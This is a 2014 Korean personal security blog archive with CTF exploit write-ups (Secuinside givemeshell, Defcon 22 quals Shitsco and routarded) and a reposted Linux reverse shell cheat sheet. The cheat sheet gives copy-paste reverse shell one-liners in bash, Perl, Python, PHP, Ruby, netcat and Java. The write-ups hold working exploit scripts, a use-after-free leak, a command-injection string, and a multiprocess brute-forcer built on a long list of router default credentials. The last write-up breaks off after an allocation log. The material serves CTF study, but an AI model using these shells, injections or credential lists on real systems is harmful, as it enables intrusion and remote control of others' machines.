2014년 6월 14일 토요일

Secuinside 2013 givemeshell

easy easy challenge


int __cdecl important_part(int fd)
{
int v1; // edx@1
int v2; // ecx@1
int result; // eax@3
char cmd; // [sp+16h] [bp-12h]@1
int canary; // [sp+1Ch] [bp-Ch]@1

canary = *MK_FP(__GS__, 20);
memset(&cmd, 0, 6u);
if ( recv(fd, &cmd, 5u, 0) > 0 ) // recv only 5byte
system(&cmd); // executes user input(5byte)
result = *MK_FP(__GS__, 20) ^ canary;
if ( *MK_FP(__GS__, 20) != canary )
__stack_chk_fail(v2, v1);
return result;
}

this is the important part.
only accepts 5bytes from user and executes it.

idea : sh<&4 sh>&4

exploit code

#!/usr/bin/python
from socket import *

def shell():
cmd = raw_input("$ ")
s.send(cmd+"\n")
print s.recv(1024)

s = socket(AF_INET,SOCK_STREAM)
s.connect(('10.211.55.4',8989))
s.send("sh<&4")
s.send("sh>&4\n")
while True:
shell()
s.close()

result

mangoui-MacBook-Pro:~ kjungi704$ ./givemeshell.py 
$ cat key
this is key

clear!

2014년 5월 30일 금요일

Linux Reverse Shell cheatsheet

Reverse Shell Cheat Sheet
If you’re lucky enough to find a command execution vulnerability during a penetration test, pretty soon afterwards you’ll probably want an interactive shell.
If it’s not possible to add a new account / SSH key / .rhosts file and just log in, your next step is likely to be either trowing back a reverse shell or binding a shell to a TCP port.  This page deals with the former.
Your options for creating a reverse shell are limited by the scripting languages installed on the target system – though you could probably upload a binary program too if you’re suitably well prepared.
The examples shown are tailored to Unix-like systems.  Some of the examples below should also work on Windows if you use substitute “/bin/sh -i” with “cmd.exe”.
Each of the methods below is aimed to be a one-liner that you can copy/paste.  As such they’re quite short lines, but not very readable.

Bash
Some versions of bash can send you a reverse shell (this was tested on Ubuntu 10.10):
bash -i >& /dev/tcp/10.0.0.1/8080 0>&1

PERL
Here’s a shorter, feature-free version of the perl-reverse-shell:
perl -e 'use Socket;$i="10.0.0.1";$p=1234;socket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp"));if(connect(S,sockaddr_in($p,inet_aton($i)))){open(STDIN,">&S");open(STDOUT,">&S");open(STDERR,">&S");exec("/bin/sh -i");};'
There’s also an alternative PERL revere shell here.

Python
This was tested under Linux / Python 2.7:
python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("10.0.0.1",1234));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);'

PHP
This code assumes that the TCP connection uses file descriptor 3.  This worked on my test system.  If it doesn’t work, try 4, 5, 6…
php -r '$sock=fsockopen("10.0.0.1",1234);exec("/bin/sh -i <&3 >&3 2>&3");'
If you want a .php file to upload, see the more featureful and robust php-reverse-shell.

Ruby
ruby -rsocket -e'f=TCPSocket.open("10.0.0.1",1234).to_i;exec sprintf("/bin/sh -i <&%d >&%d 2>&%d",f,f,f)'

Netcat
Netcat is rarely present on production systems and even if it is there are several version of netcat, some of which don’t support the -e option.
nc -e /bin/sh 10.0.0.1 1234
If you have the wrong version of netcat installed, Jeff Price points out here that you might still be able to get your reverse shell back like this:
rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 10.0.0.1 1234 >/tmp/f

Java
r = Runtime.getRuntime()
p = r.exec(["/bin/bash","-c","exec 5<>/dev/tcp/10.0.0.1/2002;cat <&5 | while read line; do \$line 2>&5 >&5; done"] as String[])
p.waitFor()
[Untested submission from anonymous reader]

xterm
One of the simplest forms of reverse shell is an xterm session.  The following command should be run on the server.  It will try to connect back to you (10.0.0.1) on TCP port 6001.
xterm -display 10.0.0.1:1
To catch the incoming xterm, start an X-Server (:1 – which listens on TCP port 6001).  One way to do this is with Xnest (to be run on your system):
Xnest :1
You’ll need to authorise the target to connect to you (command also run on your host):
xhost +targetip

Further Reading
Also check out Bernardo’s Reverse Shell One-Liners.  He has some alternative approaches and doesn’t rely on /bin/sh for his Ruby reverse shell.
There’s a reverse shell written in gawk over here.  Gawk is not something that I’ve ever used myself.  However, it seems to get installed by default quite often, so is exactly the sort of language pentesters might want to use for reverse shells.
Tags: bash, cheatsheet, netcat, pentest, perl, php, python, reverseshell, ruby, xterm
Posted in Shells

2014년 5월 25일 일요일

Defcon 22 quals - Gynophage Shitsco (2pts)

mangoui-MacBook-Pro:defcon_source kjungi704$ nc 10.211.55.4 8989 

oooooooo8 oooo o88 o8
888 888ooooo oooo o888oo oooooooo8 ooooooo ooooooo
888oooooo 888 888 888 888 888ooooooo 888 888 888 888
888 888 888 888 888 888 888 888 888
o88oooo888 o888o o888o o888o 888o 88oooooo88 88ooo888 88ooo88

Welcome to Shitsco Internet Operating System (IOS)
For a command list, enter ?
$

Cisco router style binary
Cisco -> Shitsco


Welcome to Shitsco Internet Operating System (IOS)
For a command list, enter ?
$ ?
==========Available Commands==========
|enable |
|ping |
|tracert |
|? |
|shell |
|set |
|show |
|credits |
|quit |
======================================
Type ? followed by a command for more detailed information
$ set a hello
$ set b wow
$ show
a: hello
b: wow
$ set a
$ show
b: wow

enable -> to privileged mode
ping -> ping
tracert -> tracert
? -> help
shell -> spawn shell
show -> list set variables
set -> set variables
credits -> credits
quit -> exit


size_t __cdecl readpassword()
{
unsigned int v0; // eax@1
FILE *v1; // eax@3
FILE *v2; // ebx@3
size_t result; // eax@4

v0 = 0;
do
{
password[v0] = 0;
++v0;
}
while ( v0 < 8 );
v1 = fopen("/home/shitsco/password", "r");
v2 = v1;
if ( !v1 )
{
perror("Failed to open password file");
exit(-1);
}
result = fread(password, 1u, 32u, v1);
if ( result )
result = fclose(v2);
return result;
}

read enable password at /home/shitsco/password in main()->readpassword()
password saved at .bss 0x0804C3A0


Welcome to Shitsco Internet Operating System (IOS)
For a command list, enter ?
$ set a aaaaaaaaaaaaaaaa
$ set b bbbbbbbbbbbbbbbb
$ set c cccccccccccccccc
$ set a
$ set b
$ set d dddddddddddddddd
$ show
d: dddddddddddddddd
Segmentation fault (core dumped)

WTF????!?!?!??!?!?

Final exploit with USE-AFTER-FREE vuln

#!/usr/bin/python
from socket import *
from struct import *

p = lambda x : pack("<L",x)

s = socket(AF_INET,SOCK_STREAM)
s.connect(('10.211.55.4',8989))

password = 0x0804C3A0
s1 = 0x0804C36C
one = "set a "+"A"*16
two = "set b "+"B"*16
three = "set c "+"a"*4+p(password)+p(s1)+"aaaa"

def goset(wow):
s.send(wow+"\n")
s.recv(1024)

def unset(wow):
s.send(wow+"\n")
s.recv(1024)

print s.recv(1024)
goset(one)
goset(two)
unset("set a")
unset("set b")
goset(three)
s.send("show"+"\n")
print s.recv(1024)

password = saved password addr
s1 = chunks head addr



mangoui-MacBook-Pro:defcon_source kjungi704$ python shitsco.py

oooooooo8 oooo o88 o8
888 888ooooo oooo o888oo oooooooo8 ooooooo ooooooo
888oooooo 888 888 888 888 888ooooooo 888 888 888 888
888 888 888 888 888 888 888 888 888
o88oooo888 o888o o888o o888o 888o 88oooooo88 88ooo888 88ooo88

Welcome to Shitsco Internet Operating System (IOS)
For a command list, enter ?
$
c: aaaa?laaaa
: here_is_password_password

CLEAR!

2014년 5월 24일 토요일

Defcon 22 quals - babyfirst routarded

Router is exposed to the internet with default credentials.

stage 1 : pass the id/pw check.
stage 2 : read the key by command injection? with vuln in the page.

---stage 1 exp.py--- (router id/pw list from routerpasswords.com)

#!/usr/bin/python

from urllib2 import *
from base64 import *
from multiprocessing import Queue, Process
a= [["Admin","admin"],["2Wire",""],["(none)","Wireless"],["volition","volition"],["Administrator","3ware"],["sysadm","anicust"],["debug","synnet"],["tech","tech"],["adm","(none)"],["debug","synnet"],["tech","tech"],["tech","tech"],["","ANYCOM"],["","ILMI"],["admin","(none)"],["n/a","PASSWORD"],["debug","synnet"],["tech","tech"],["adminttd","adminttd"],["admin","comcomcom"],["tech","tech"],["admin","admin"],["adm","(none)"],["tech","(none)"],["admin","synnet"],["tech","tech"],["root","(none)"],["admin","(none)"],["tech","(none)"],["admin","admin"],["admin","(none)"],["monitor","monitor"],["manager","manager"],["Root","(none)"],["admin","(none)"],["admin","(none)"],["n/a","PASSWORD"],["n/a","admin"],["n/a","(none)"],["(none)","admin"],["admin","password"],["User","Password"],["Administrator","admin"],["operator","(none)"],["security","security"],["3comcso","RIP000"],["(none)","admin"],["tech","tech"],["admin","(none)"],["admin","admin"],["root","(none)"],["admin","(none)"],["operator","(none)"],["admin","(none)"],["admin","admin"],["admin","(none)"],["n/a","(none)"],["Administrator","(none)"],["admin","admin"],["recovery","recovery"],["(none)","admin"],["admin","(none)"],["admin","(none)"],["n/a","(none)"],["admin","admin"],["admin","(none)"],["Administrator","(none)"],["tech","(none)"],["admin","admin"],["recovery","recovery"],["(none)","admin"],["(none)","1234admin"],["Type User: FORCE","(none)"],["n/a","(none)"],["n/a","(none)"],["admin","(none)"],["admin","(none)"],["none","0"],["(none)","0"],["(none)","0"],["admin","secure"],["admin","password"],["(none)","(none)"],["admin","password"],["admin","(none)"],["admin","password"],["admin","(none)"],["admin","(none)"],["n/a","secret"],["n/a","adtran"],["n/a","(none)"],["n/a","Password"],["n/a","PASSWORD"],["n/a","adtran"],["n/a","(none)"],["n/a","adtran"],["n/a","ADTRAN"],["n/a","(none)"],["n/a","adtran"],["admin","password"],["operator","(none)"],["admin","(none)"],["manager","friend"],["(blank)","(blank)"],["mtcl","(none)"],["kermit","kermit"],["dhs3mt","dhs3mt"],["at4400","at4400"],["mtch","mtch"],["mtcl","mtcl"],["root","letacla"],["dhs3pms","dhs3pms"],["adfexc","adfexc"],["client","client"],["install","llatsni"],["halt","tlah"],["n/a","1064"],["admin","switch"],["diag","switch"],["diag","switch"],["root","permit"],["(none)","admin"],["ftp_inst","pbxk1064"],["ftp_admi","kilo1987"],["ftp_oper","help1954"],["ftp_nmc","tuxalize"],["n/a","admin"],["manager","admin"],["root","(none)"],["manager","manager"],["manager","friend"],["Manager","friend"],["admin","admin"],["none","admin"],["admin","(none)"],["admin","admin"],["admin","(none)"],["admin","linga"],["admin","admin"],["root","(none)"],["root","root"],["root","root"],["root","root"],["user","user - (admin:cableroot)"],["admin","admin"],["n/a","admin"],["acc","acc"],["n/a","backdoor"],["n/a","TENmanUFactOryPOWER"],["device","device"],["apc","apc"],["apc","apc"],["(none)","public"],["n/a","password"],["n/a","admin"],["root","admin"],["root","alpine"],["IntraSwitch","Asante"],["IntraStack","Asante"],["superuser","(none)"],["admin","asante"],["admin","0000"],["n/a","atc123"],["",""],["(none)","admin"],["readonly","lucenttech2"],["n/a","ascend"],["root","ascend"],["(none)","3ascotel"],["admin","atlantis"],["admin","atlantis"],["admin","epicrouter"],["admin","epicrouter"],["admin","epicrouter"],["admin","epicrouter"],["admin","epicrouter"],["customer","none"],["DTA","TJM"],["DTA","TJM"],["DTA","TJM"],["admin","admin"],["admin","admin"],["admin","admin"],["admin","admin"],["admin","admin"],["n/a","admin"],["admin","admin"],["root","ROOT500"],["n/a","admin"],["craft","(none)"],["root","root"],["diag","danger"],["manuf","xxyyzz"],["diag","danger"],["manuf","xxyyzz"],["craft","crftpw"],["root","cms500"],["dadmin","dadmin01"],["root","pass"],["root","pass"],["root","pass"],["root","pass"],["root","pass"],["n/a","(none)"],["n/a","00000000"],["admin","admin"],["admin","epicrouter"],["n/a","NetICs"],["security","security"],["User","(none)"],["Manager","(none)"],["User","(none)"],["security","security"],["n/a","NetICs"],["root","n/a"],["(none)","MiniAP"],["n/a","admin"],["(blank)","(blank)"],["admin","(blank)"],["admin","admin"],["admin","admin"],["(none)","(none)"],["n/a","snmp-Trap"],["admin","bintec"],["admin","bintec"],["admin","bintec"],["admin","bintec"],["admin","articon"],["patrol","patrol"],["Administrator","the same all over"],["n/a","Master"],["n/a","laflaf"],["n/a","Helpdesk"],["n/a","Super"],["n/a","Master"],["n/a","laflaf"],["(none)","access"],["(none)","access"],["n/a","access"],["webadmin","webadmin"],["admin","admin"],["installer","installer"],["root","fivranne"],["admin","password"],["admin","password"],["root","(none)"],["admin","1234"],["netman","(none)"],["n/a","(none)"],["mediator","mediator"],["root","Mau'dib"],["Administrator","admin"],["admin","system"],["cellit","cellit"],["admin","admin"],["admin","password"],["admin","diamond"],["cmaker","cmaker"],["admin","changeme"],["netrangr","attack"],["bbsd-client","changeme2"],["bbsd-client","NULL"],["Administrator","changeme"],["root","attack"],["sa","(none)"],["(none)","public/private/secret"],["(none)","cisco"],["admin","admin"],["admin","default"],["Cisco","Cisco"],["guest","(none)"],["admin","cisco"],["cmaker","cmaker"],["(none)","Cisco"],["(none)","_Cisco"],["Cisco","Cisco"],["root","blender"],["hsa","hsadb"],["root","blender"],["wlse","wlsedb"],["root","Cisco"],["admin","admin"],["Administrator","admin"],["admin","admin"],["Administrator","admin"],["(blank)","(blank)"],["cisco","cisco"],["admin","epicrouter"],["administrator","administrator"],["anonymous","(none)"],["user","user"],["operator","operator"],["user","public"],["PFCUser","240653C9467E45"],["admin","admin"],["admin","(none)"],["admin","admin"],["n/a","epicrouter"],["n/a","admin"],["Administrator","admin"],["Administrator","admin"],["corecess","corecess"],["admin","(none)"],["root","root"],["cgadmin","cgadmin"],["super","surt"],["root","tslinux"],["root","tini"],["n/a","(none)"],["n/a","letmein"],["anonymous","any@"],["admin","admin"],["D-Link","D-Link"],["(none)","admin"],["admin","(none)"],["(none)","public"],["user","(none)"],["admin","(none)"],["admin","(none)"],["admin","(none)"],["admin","(none)"],["admin","admin"],["admin","(none)"],["n/a","admin"],["admin","(none)"],["admin","(none)"],["User","(none)"],["admin","admin"],["admin","(none)"],["user","(none)"],["admin","(none)"],["admin","(none)"],["admin","admin"],["admin","admin"],["admin","(none)"],["admin","admin"],["(none)","private"],["admin","admin"],["admin","(none)"],["admin","admin"],["user","(none)"],["admin","(none)"],["admin","admin"],["admin","admin"],["admin","admin"],["admin","(none)"],["admin","password"],["n/a","admin"],["admin","admin"],["admin","admin"],["admin","(none)"],["admin","admin"],["user","user"],["Admin","(none)"],["user","user"],["root","davox"],["admin","admin"],["davox","davox"],["sa","(none)"],["admin","password"],["root","calvin"],["admin","my_DEMARC"],["root","admin"],["MDaemon","MServer"],["admin","(none)"],["(none)","0000"],["","0000 This is also their standard for the W700 and"],["(none)","0000"],["PBX","PBX"],["NETWORK","NETWORK"],["NETOP","(none)"],["admin","michelangelo"],["user","password"],["n/a","BRIDGE"],["n/a","password"],["admin","admin"],["admin","admin"],["n/a","BRIDGE"],["n/a","password"],["n/a","BRIDGE"],["n/a","password"],["admin","admin"],["admin","(none)"],["admin","admin"],["(blank)","(blank)"],["draytek","1234"],["admin","1234"],["guest","(none)"],["admin","123"],["admin","epicrouter"],["admin","epicrouter"],["admin","epicrouter"],["(none)","admin"],["(none)","admin"],["n/a","admin"],["login","admin"],["login","password"],["n/a","admin"],["websecadm","changeme"],["netman","netman"],["netman","netman"],["(none)","help"],["n/a","(none)"],["n/a","4getme2"],["login","admin"],["(none)","hs7mwxkk"],["public","(none)"],["n/a","cisco"],["admin","netadmin"],["(none)","netadmin"],["admin","(none)"],["tiger","tiger123"],["1111","1111"],["admin","admin"],["supervisor","supervisor"],["operator","operator"],["n/a","(none)"],["anonymous","Exabyte"],["admin","(none)"],["root","default"],["admin","admin"],["n/a","password"],["admin","admin"],["admin","admin"],["admin","admin"],["admin","(none)"],["(none)","connect"],["admin","radius"],["admin","admin"],["n/a","Posterie"],["n/a","Posterie"],["Administrator","admin"],["Administrator","(none)"],["Administrator","admin"],["admin","isee"],["admin","admin"],["MGR","HPP187"],["MGR","HPP189"],["MGR","HPP196"],["MGR","INTX3"],["MGR","ITF3000"],["MGR","NETBASE"],["MGR","REGO"],["MGR","RJE"],["MGR","CONV"],["OPERATOR","SYS"],["OPERATOR","DISC"],["OPERATOR","SYSTEM"],["OPERATOR","SUPPORT"],["OPERATOR","COGNOS"],["PCUSER","SYS"],["RSBCMON","SYS"],["SPOOLMAN","HPOFFICE"],["WP","HPOFFICE"],["ADVMAIL","HPOFFICE DATA"],["ADVMAIL","HP"],["FIELD","SUPPORT"],["FIELD","MGR"],["FIELD","SERVICE"],["FIELD","MANAGER"],["FIELD","HPP187 SYS"],["FIELD","LOTUS"],["FIELD","HPWORD PUB"],["FIELD","HPONLY"],["HELLO","MANAGER.SYS"],["HELLO","MGR.SYS"],["HELLO","FIELD.SUPPORT"],["HELLO","OP.OPERATOR"],["MAIL","MAIL"],["MAIL","REMOTE"],["MAIL","TELESUP"],["MAIL","HPOFFICE"],["MAIL","MPE"],["MANAGER","TCH"],["MANAGER","SYS"],["MANAGER","SECURITY"],["MANAGER","ITF3000"],["MANAGER","HPOFFICE"],["MANAGER","COGNOS"],["MANAGER","TELESUP"],["MGR","SYS"],["MGR","CAROLIAN"],["MGR","VESOFT"],["MGR","XLSERVER"],["MGR","SECURITY"],["MGR","TELESUP"],["MGR","HPDESK"],["MGR","CCC"],["MGR","CNAS"],["MGR","WORD"],["MGR","COGNOS"],["MGR","ROBELLE"],["MGR","HPOFFICE"],["MGR","HPONLY"],["(none)","(none)"],["(none)","(none)"],["Anonymous","(none)"],["(none)","(none)"],["admin","hp.com"],["admin","admin"],["admin","(none)"],["TMAR#HWMT8007079","(none)"],["admin","admin"],["admin","admin"],["Administrator","pilou"],["n/a","(none)"],["n/a","ascend"],["n/a","(none)"],["n/a","admin"],["storwatch","specialist"],["n/a","R1QTPS"],["vt100","public"],["admin","password"],["admin","(none)"],["superadmin","secret"],["hscroot","abc123"],["admin","secure"],["root","(none)"],["n/a","admin"],["n/a","(none)"],["USERID","PASSW0RD"],["USERID","PASSW0RD"],["Administrator","admin"],["n/a","admin"],["admin","admin"],["admin","0000"],["Administrator","letmein"],["root","(none)"],["NICONEX","NICONEX"],["setup","setup"],["(none)","Intel"],["intel","intel"],["Guest","(none)"],["root","(none)"],["admin","(none)"],["admin","hello"],["admin","hello"],["intermec","intermec"],["SYSDBA","masterkey"],["n/a","(none)"],["operator","$chwarzepumpe"],["system","sys"],["admin","admin"],["n/a","admin"],["Administrator","admin"],["admin","operator"],["admin","operator"],["admin","epicrouter"],["JDE","JDE"],["admin","ironport"],["hydrasna","(none)"],["n/a","3477"],["n/a","8111"],["(none)","1234"],["(none)","(none)"],["PRODDTA","PRODDTA"],["n/a","00000000"],["netscreen","netscreen"],["n/a","PASSWORD"],["root","root"],["admin","admin"],["admin","(blank)"],["superuser","123456"],["admin","123456"],["admin","123"],["n/a","(none)"],["n/a","access"],["n/a","system"],["n/a","lantronix"],["sysadmin","PASS"],["login","access"],["n/a","admin"],["n/a","admin"],["n/a","access"],["n/a","(none)"],["n/a","(none)"],["n/a","(none)"],["n/a","(none)"],["n/a","(none)"],["(none)","jannie"],["admin","epicrouter"],["admin","admin"],["user","tivonpw"],["root","(none)"],["!root","(none)"],["!root","(none)"],["!root","(none)"],["n/a","(none)"],["n/a","admin"],["Administrator","admin"],["(none)","admin"],["admin","(none)"],["(none)","admin"],["admin","admin"],["admin","admin"],["n/a","admin"],["(none)","admin"],["(none)","admin"],["(none)","admin"],["admin","admin"],["comcast","1234"],["admin","admin"],["n/a","(none)"],["admin","admin"],["admin","admin"],["admin","admin"],["admin","admin"],["admin","admin"],["setup","changeme(exclamation)"],["(none)","0000"],["admin","epicrouter"],["super","super"],["(any 3 characters)","cascade"],["n/a","cascade"],["n/a","cascade"],["(any 3 characters)","cascade"],["n/a","cascade"],["n/a","cascade"],["admin","Ascend"],["root","ascend"],["readwrite","lucenttech1"],["readonly","lucenttech2"],["LUCENT01","UI-PSWD-01"],["LUCENT02","UI-PSWD-02"],["Administrator","(none)"],["admin","AitbISP4eCiG"],["bciim","bciimpw"],["bcim","bcimpw"],["bcms","bcmspw"],["bcnas","bcnaspw"],["blue","bluepw"],["browse","browsepw"],["browse","looker"],["craft","craft"],["craft","craftpw"],["cust","custpw"],["enquiry","enquirypw"],["field","support"],["inads","indspw"],["inads","inads"],["init","initpw"],["locate","locatepw"],["maint","maintpw"],["maint","rwmaint"],["nms","nmspw"],["rcust","rcustpw"],["support","supportpw"],["tech","field"],["admin","0"],["ami","(none)"],["n/a","(none)"],["scmadmin","scmchangeme"],["n/a","medion"],["Administrator","password"],["admin","1234"],["MICRO","RSX"],["MICRO","RSX"],["n/a","star"],["n/a","letmein"],["Administrator","admin"],["Administrator","admin"],["service","smile"],["root","default"],["mac","(none)"],["admin","epicrouter"],["admin","1234"],["root","root"],["admin","(none)"],["admin","(none)"],["operator","(none)"],["admin","(none)"],["n/a","SYSTEM"],["n/a","SYSTEM"],["(none)","admin"],["root","root"],["SYSADM","sysadm"],["system","password"],["n/a","(none)"],["cablecom","router"],["admin","motorola"],["admin","motorola"],["admin","motorola"],["cablecom","router"],["n/a","(none)"],["(blank)","(blank)"],["router","router"],["router","router"],["router","router"],["(none)","admin"],["admin","password"],["admin","admin"],["admin","admin123"],["GlobalAdmin","GlobalAdmin"],["n/a","(none)"],["(none)","1234"],["admin","password"],["comcast","1234"],["admin","password"],["admin","1234"],["admin","admin"],["admin","password"],["(none)","1234"],["super","5777364"],["superman","21241036"],["super","5777364"],["admin","password"],["admin","password"],["admin","password"],["admin","password"],["(none)","private"],["admin","password"],["admin","1234"],["admin","password"],["admin","password"],["admin","1234"],["admin","(none)"],["admin","password"],["admin","password"],["n/a","admin"],["n/a","password"],["n/a","(none)"],["admin","password"],["admin","password"],["admin","password"],["admin","password"],["netopia","netopia"],["admin","(none)"],["n/a","(none)"],["admin","noway"],["(none)","(none)"],["netopia","netopia"],["netscreen","netscreen"],["Administrator","(none)"],["admin","(none)"],["operator","(none)"],["Administrator","(none)"],["naadmin","naadmin"],["setup","setup"],["e500","e500changeme"],["e250","e250changeme"],["admin","password"],["guest","guest"],["admin","NetCache"],["(none)","admin"],["n/a","xdfk9874t3"],["n/a","xdfk9874t3"],["admin","(none)"],["admin","asd"],["disttech","4tas"],["maint","maint"],["mlusr","mlusr"],["admin","root"],["l2","l2"],["l3","l3"],["ro","ro"],["rw","rw"],["rwa","rwa"],["admin","setup"],["n/a","secure"],["login","0"],["login","1111"],["login","8429"],["spcl","0"],["service","smile"],["root","3ep5w2u"],["(none)","0"],["maint","ntacdmax"],["service","smile"],["disttech","4tas"],["maint","maint"],["ccrusr","ccrusr"],["n/a","(none)"],["service","smile"],["admin","setup"],["supervisor","PlsChgMe!"],["n/a","266344"],["266344","266344"],["n/a","(none)"],["n/a","(none)"],["supervisor","PlsChgMe1"],["vcr","NetVCR"],["(none)","password"],["(none)","9999"],["m1122","m1122"],["telecom","telecom"],["root","the 6 last digit of the MAC adress"],["admin","adslolitec"],["(none)","SUPER"],["(none)","SMDR"],["admin","changeme"],["n/a","(none)"],["admin","admin"],["admin","OCS"],["adminstat","OCS"],["adminview","OCS"],["adminuser","OCS"],["adminview","OCS"],["helpdesk","OCS"],["system/manager","sys/change_on_install"],["root","root"],["sys","uplink"],["cac_admin","cacadmin"],["admin","admin"],["admin","kont2004"],["Manager","Manager"],["sysadm","sysadm"],["write","private"],["debug","d.e.b.u.g"],["echo","echo"],["guest","guest"],["Manager","Manager"],["sysadm","sysadm"],["write","private"],["sysadm","sysadm"],["sysadm","sysadm"],["sysadm","sysadm"],["sysadm","sysadm"],["sysadm","sysadm"],["1500","and 2000 Series\""],["n/a","(none)"],["n/a","(none)"],["admin","1234"],["n/a","(none)"],["root","(none)"],["pmd","(none)"],["(none)","pento"],["admin","superuser"],["n/a","system"],["admin","password"],["PSEAdmin","$secure$"],["admin","mu"],["admin","microbusiness"],["user","password"],["admin","smallbusiness"],["admin","microbusiness"],["user","password"],["Administrator","admin"],["Polycom","SpIp"],["(none)","admin"],["(none)","(none)"],["(none)","(none)"],["(none)","(none)"],["","public"],["(none)","default"],["admin","epicrouter"],["admin","1234"],["admin","epicrouter"],["admin","admin"],["n/a","(none)"],["support","h179350"],["n/a","raidzone"],["admin","admin"],["admin","admin"],["lp","lp"],["radware","radware"],["sysadmin","password"],["sysadmin","password"],["(none)","password"],["n/a","password"],["admin","(none)"],["admin","password"],["wradmin","trancell"],["wradmin","trancell"],["admin","password"],["piranha","q"],["piranha","piranha"],["n/a","Col2ogro2"],["n/a","Col2ogro2"],["setup","changeme"],["teacher","password"],["temp1","password"],["admin","rmnetlm"],["admin2","changeme"],["adminstrator","changeme"],["deskalt","password"],["deskman","changeme"],["desknorm","password"],["deskres","password"],["guest","(none)"],["replicator","replicator"],["RMUser1","password"],["topicalt","password"],["topicnorm","password"],["topicres","password"],["admin","w2402"],["admin","epicrouter"],["root","1234"],["root","1234"],["admin","admin"],["public","public"],["n/a","(none)"],["admin","password"],["n/a","(none)"],["admin","(none)"],["admin","n/a"],["eng","engineer"],["op","op"],["op","operator"],["su","super"],["poll","tech"],["sysadmin","sysadmin"],["admin","pwp"],["tech","tech"],["superuser","admin"],["poll","tech"],["sysadmin","sysadmin"],["tech","tech"],["admin","pwp"],["eng","engineer"],["op","op"],["op","operator"],["su","super"],["admin","hagpolm1"],["n/a","(none)"],["GEN1","gen1"],["GEN2","gen2"],["ADMN","admn"],["n/a","SKY_FOX"],["n/a","SKY_FOX"],["n/a","(none)"],["root","(none)"],["(none)","sitecom"],["admin","admin"],["admin","admin"],["Administrator","ganteng"],["root","(none)"],["admin","(none)"],["admin","admin"],["admin","admin"],["(none)","smcadmin"],["n/a","smcadmin"],["Administrator","smcadmin"],["admin","barricade"],["smc","smcadmin"],["admin","smcadmin"],["(none)","smcadmin"],["admin","barricade"],["(none)","smcadmin"],["cusadmin","highspeed"],["smc","smcadmin"],["n/a","smcadmin"],["(none)","smcadmin"],["admin","(none)"],["aaa","often blank"],["admin","Protector"],["root","root"],["1.79 +","Multi"],["admin","password"],["root","admin"],["admin","conexant"],["(none)","admin"],["n/a","adminttd"],["admin","admin"],["admin","admin"],["admin","admin"],["admin","admin"],["(none)","admin"],["(none)","speedxess"],["admin","admin"],["admin","admin"],["root","changeme"],["Sweex","Mysweex"],["admin","xad$l#12"],["enable","(none)"],["target","password"],["Administrator","(none)"],["jagadmin","(none)"],["n/a","Symbol"],["n/a","Symbol"],["n/a","Symbol"],["n/a","Symbol"],["n/a","Symbol"],["n/a","Symbol"],["install","secret"],["(none)","TANDBERG"],["n/a","0000010023"],["Administrator","(none)"],["telco","telco"],["admin","1234"],["super.super","(none)"],["super.super","master"],["xbox","xbox"],["admin","password"],["n/a","(none)"],["admin","admin"],["admin","admin"],["(none)","(none)"],["(none)","(none)"],["tiara","tiaranet"],["admin","1234"],["tellabs","tellabs#1"],["root","admin_1"],["admin","extendnet"],["superman","talent"],["admin","admin"],["craft","(none)"],["(none)","enter"],["root","12345"],["admin","admin"],["cablemodem","robotics"],["admin","(blank) - Default IP is 192.168.123.254"],["admin","admin"],["n/a","password"],["n/a","(none)"],["admin","(none)"],["VTech","VTech"],["NAU","NAU"],["ADMINISTRATOR","ADMINISTRATOR"],["HTTP","HTTP"],["(none)","12345"],["root","admin"],["Any","12345"],["support","support"],["support","support"],["(none)","(none)"],["admin","changeme"],["admin","visual"],["admin","admin"],["guest","guest"],["(none)","166816"],["user","user"],["user","user"],["admin","admin"],["admin","admin"],["admin","admin"],["admin","admin"],["admin","admin"],["(blank)","(blank)"],["router","router"],["router","router"],["router","router"],["admin","admin"],["VTech","VTech"],["(blank)","(blank)"],["router","router"],["admin","admin"],["CSG","SESAME"],["admin","(none)"],["user","pass"],["admin","(none)"],["admin","password"],["CSG","SESAME"],["admin","sysAdmin"],["admin","password"],["root","wyse"],["VNC","winterm"],["(none)","Fireport"],["root","(none)"],["rapport","r@p8p0r+"],["n/a","password"],["super","super"],["1502","1502"],["super","super"],["n/a","(none)"],["n/a","(none)"],["xd","xd"],["admin","2222"],["admin","admin"],["admin","(none)"],["admin","22222"],["admin","admin"],["admin","admin"],["n/a","admin"],["admin","1111"],["admin","switch"],["diag","switch"],["admin","switch"],["admin","zoomadsl"],["n/a","system"],["n/a","access"],["n/a","system"],["n/a","access"],["n/a","access"],["n/a","access"],["n/a","system"],["n/a","(none)"],["admin","admin"],["root","admin"],["admin","1234"],["ZXDSL","ZXDSL"],["n/a","1234"],["root","1234"],["(none)","1234"],["(none)","1234"],["admin","1234"],["n/a","1234"],["1234","1234"],["webadmin","1234"],["admin","1234"],["admin","1234"],["n/a","(none)"],["admin","1234"],["admin","admin"],["n/a","1234"],["n/a","admin"]]
for i in a:
for j in range(2):
if i[j] == "(none)" or i[j]=="n/a":
i[j]=""

a=a
print "="*20+"go"+"="*20

url = "http://routarded_87f7837f50a5370771b9467d840c93c5.2014.shallweplayaga.me:5000"

q = Queue()
def run():
while True:
i = q.get()
idid = i[0]
pwpw = i[1]
go = b64encode(idid+":"+pwpw)
header = {'Accept':'text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8','Accept-Encoding':'gzip,deflate,sdch','Accept-Language':'ko-KR,ko;q=0.8,en-US;q=0.6,en;q=0.4,zh-TW;q=0.2,zh;q=0.2','Authorization':'basic '+go}
request = Request(url,'GET',header)
try:
data = urlopen(request)
if data.read():
print data.read()
print i
exit(0)
except HTTPError as e:
print e


for i in a:
q.put((i))

ps=[]
for i in range(30):
p = Process(target=run)
p.start()
ps.append(p)

----stage 2 (command injection)
thx to jinmo123


another solution
-> 127.0.0.1;cat key
LOLOLOLOLOL


CLEAR!

Defcon 22 quals - babyfirst heap writeup

mangoui-MacBook-Pro:~ kjungi704$ nc 10.211.55.4 8989 

Welcome to your first heap overflow...
I am going to allocate 20 objects...
Using Dougle Lee Allocator 2.6.1...
Goodluck!

Exit function pointer is at 804C8AC address.
[ALLOC][loc=80A9008][size=1246]
[ALLOC][loc=80A94F0][size=1121]
[ALLOC][loc=80A9958][size=947]
[ALLOC][loc=80A9D10][size=741]
